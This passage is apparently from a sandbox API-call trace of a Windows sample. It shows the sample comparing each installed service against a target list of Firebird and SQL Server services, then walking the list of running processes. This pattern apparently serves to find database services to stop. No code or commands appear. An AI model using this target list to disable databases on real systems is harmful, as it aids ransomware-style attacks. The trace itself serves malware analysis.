(lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0314.638] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0314.638] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0314.638] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0314.638] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0314.638] lstrlenW (lpString="BFE") returned 3 [0314.638] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0314.638] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0314.638] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0314.638] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0314.638] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0314.638] lstrlenW (lpString="BITS") returned 4 [0314.638] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0314.638] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0314.638] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0314.638] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0314.638] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0314.638] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0314.638] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0314.638] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0314.638] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0314.638] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0314.638] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0314.638] lstrlenW (lpString="CDPSvc") returned 6 [0314.638] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0314.639] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0314.639] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0314.639] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0314.639] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0314.639] lstrlenW (lpString="ClickToRunSvc") returned 13 [0314.639] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0314.639] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0314.639] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0314.639] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0314.639] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0314.639] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0314.639] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0314.639] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0314.639] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0314.639] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0314.639] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0314.639] lstrlenW (lpString="CryptSvc") returned 8 [0314.639] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0314.639] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0314.639] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0314.639] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0314.639] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0314.639] lstrlenW (lpString="DcomLaunch") returned 10 [0314.639] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0314.639] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0314.639] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0314.639] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0314.639] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0314.639] lstrlenW (lpString="DeviceAssociationService") returned 24 [0314.640] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0314.640] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0314.640] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0314.640] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0314.640] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0314.640] lstrlenW (lpString="Dhcp") returned 4 [0314.640] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0314.640] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0314.640] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0314.640] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0314.640] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0314.640] lstrlenW (lpString="Dnscache") returned 8 [0314.640] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0314.640] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0314.640] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0314.640] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0314.640] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0314.640] lstrlenW (lpString="DoSvc") returned 5 [0314.640] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0314.640] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0314.640] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0314.640] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0314.640] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0314.640] lstrlenW (lpString="DPS") returned 3 [0314.640] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0314.640] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0314.640] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0314.640] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0314.640] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0314.641] lstrlenW (lpString="DusmSvc") returned 7 [0314.641] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0314.641] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0314.641] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0314.641] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0314.641] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0314.641] lstrlenW (lpString="EventLog") returned 8 [0314.641] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0314.642] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0314.642] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0314.642] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0314.642] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0314.642] lstrlenW (lpString="EventSystem") returned 11 [0314.642] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0314.642] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0314.642] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0314.642] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0314.642] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0314.642] lstrlenW (lpString="FontCache") returned 9 [0314.642] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0314.642] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0314.642] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0314.642] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0314.642] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0314.642] lstrlenW (lpString="gpsvc") returned 5 [0314.642] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0314.642] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0314.642] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0314.642] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0314.643] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0314.643] lstrlenW (lpString="iphlpsvc") returned 8 [0314.643] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0314.643] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0314.643] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0314.643] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0314.643] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0314.643] lstrlenW (lpString="KeyIso") returned 6 [0314.643] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0314.643] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0314.643] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0314.643] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0314.643] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0314.643] lstrlenW (lpString="LanmanServer") returned 12 [0314.643] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0314.643] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0314.643] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0314.643] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0314.643] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0314.643] lstrlenW (lpString="LanmanWorkstation") returned 17 [0314.643] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0314.643] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0314.643] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0314.643] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0314.643] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0314.643] lstrlenW (lpString="lfsvc") returned 5 [0314.643] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0314.643] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0314.643] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0314.643] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0314.643] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0314.643] lstrlenW (lpString="lmhosts") returned 7 [0314.643] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0314.644] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0314.644] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0314.644] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0314.644] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0314.644] lstrlenW (lpString="LSM") returned 3 [0314.644] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0314.644] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0314.644] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0314.644] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0314.644] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0314.644] lstrlenW (lpString="MapsBroker") returned 10 [0314.644] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MapsBroker") returned -1 [0314.644] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MapsBroker") returned -1 [0314.644] lstrcmpiW (lpString1="sqlwriter", lpString2="MapsBroker") returned 1 [0314.644] lstrcmpiW (lpString1="mssqlserver", lpString2="MapsBroker") returned 1 [0314.644] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MapsBroker") returned 1 [0314.644] lstrlenW (lpString="MpsSvc") returned 6 [0314.644] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0314.644] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0314.644] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0314.644] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0314.644] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0314.644] lstrlenW (lpString="NcbService") returned 10 [0314.644] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0314.644] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0314.644] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0314.644] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0314.644] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0314.644] lstrlenW (lpString="netprofm") returned 8 [0314.644] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0314.644] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0314.644] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0314.644] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0314.645] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0314.645] lstrlenW (lpString="NgcSvc") returned 6 [0314.645] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0314.645] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0314.645] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0314.645] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0314.645] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0314.645] lstrlenW (lpString="NlaSvc") returned 6 [0314.645] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0314.645] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0314.645] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0314.645] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0314.645] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0314.645] lstrlenW (lpString="nsi") returned 3 [0314.645] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0314.645] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0314.645] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0314.645] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0314.645] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0314.645] lstrlenW (lpString="PcaSvc") returned 6 [0314.645] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0314.645] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0314.645] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0314.645] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0314.645] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0314.645] lstrlenW (lpString="PlugPlay") returned 8 [0314.645] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0314.645] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0314.645] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0314.645] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0314.645] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0314.645] lstrlenW (lpString="Power") returned 5 [0314.645] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0314.646] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0314.646] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0314.646] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0314.646] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0314.646] lstrlenW (lpString="ProfSvc") returned 7 [0314.646] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0314.646] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0314.646] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0314.646] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0314.646] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0314.646] lstrlenW (lpString="RpcEptMapper") returned 12 [0314.646] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0314.646] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0314.646] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0314.646] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0314.646] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0314.646] lstrlenW (lpString="RpcSs") returned 5 [0314.646] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0314.646] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0314.646] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0314.646] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0314.646] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0314.646] lstrlenW (lpString="SamSs") returned 5 [0314.646] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0314.646] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0314.646] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0314.646] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0314.646] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0314.646] lstrlenW (lpString="Schedule") returned 8 [0314.646] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0314.646] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0314.646] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0314.647] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0314.647] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0314.647] lstrlenW (lpString="SecurityHealthService") returned 21 [0314.647] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0314.647] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0314.647] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0314.647] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0314.647] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0314.647] lstrlenW (lpString="SENS") returned 4 [0314.647] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0314.647] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0314.647] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0314.647] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0314.647] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0314.647] lstrlenW (lpString="ShellHWDetection") returned 16 [0314.647] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0314.647] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0314.647] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0314.647] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0314.647] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0314.647] lstrlenW (lpString="Spooler") returned 7 [0314.647] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0314.647] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0314.647] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0314.647] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0314.647] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0314.647] lstrlenW (lpString="SSDPSRV") returned 7 [0314.647] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0314.647] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0314.647] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0314.647] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0314.647] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0314.647] lstrlenW (lpString="StateRepository") returned 15 [0314.647] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0314.648] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0314.648] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0314.648] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0314.648] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x45eee80 | out: hHeap=0x6e0000) returned 1 [0314.648] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x514 [0314.650] Process32FirstW (in: hSnapshot=0x514, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0314.652] Process32NextW (in: hSnapshot=0x514, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x95, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0314.653] lstrlenW (lpString="System") returned 6 [0314.653] Process32NextW (in: hSnapshot=0x514, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0314.653] lstrlenW (lpString="smss.exe") returned 8 [0314.653] Process32NextW (in: hSnapshot=0x514, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0314.654] lstrlenW (lpString="csrss.exe") returned 9 [0314.654] Process32NextW (in: hSnapshot=0x514, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0314.655] lstrlenW (lpString="wininit.exe") returned 11 [0314.655] Process32NextW (in: hSnapshot=0x514, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0314.655] lstrlenW (lpString="csrss.exe") returned 9 [0314.655] Process32NextW (in: hSnapshot=0x514, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0314.656] lstrlenW (lpString="winlogon.exe") returned 12 [0314.656] Process32NextW (in: hSnapshot=0x514, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0314.657] lstrlenW (lpString="services.exe") returned 12 [0314.657] Process32NextW (in: hSnapshot=0x514, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0314.657] lstrlenW (lpString="lsass.exe") returned 9 [0314.658] Process32NextW (in: hSnapshot=0x514, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0314.658] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0314.658] Process32NextW (in: hSnapshot=0x514, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0314.659] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0314.659] Process32NextW (in: hSnapshot=0x514, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, 